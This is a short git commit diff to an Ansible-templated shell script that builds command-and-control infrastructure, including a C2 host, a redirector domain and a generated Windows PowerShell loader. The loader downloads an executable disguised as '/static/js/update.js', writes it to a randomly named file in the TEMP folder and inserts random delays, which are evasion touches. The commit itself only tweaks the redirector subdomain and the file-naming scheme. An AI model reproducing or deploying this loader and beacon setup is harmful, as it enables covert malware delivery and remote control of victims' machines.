keep trying
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
# Configuration (automatically populated by Ansible)
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="cdn.{{ domain }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
@@ -118,7 +118,7 @@ cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
|
||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||
\$url = "https://$REDIRECTOR_HOST/static/js/update.js"
|
||||
\$outpath = "\$env:TEMP\\$(random_string 8).exe"
|
||||
\$outpath = "\$env:TEMP\\random-\$(New-Guid).exe"
|
||||
try {
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
|
||||
Reference in New Issue
Block a user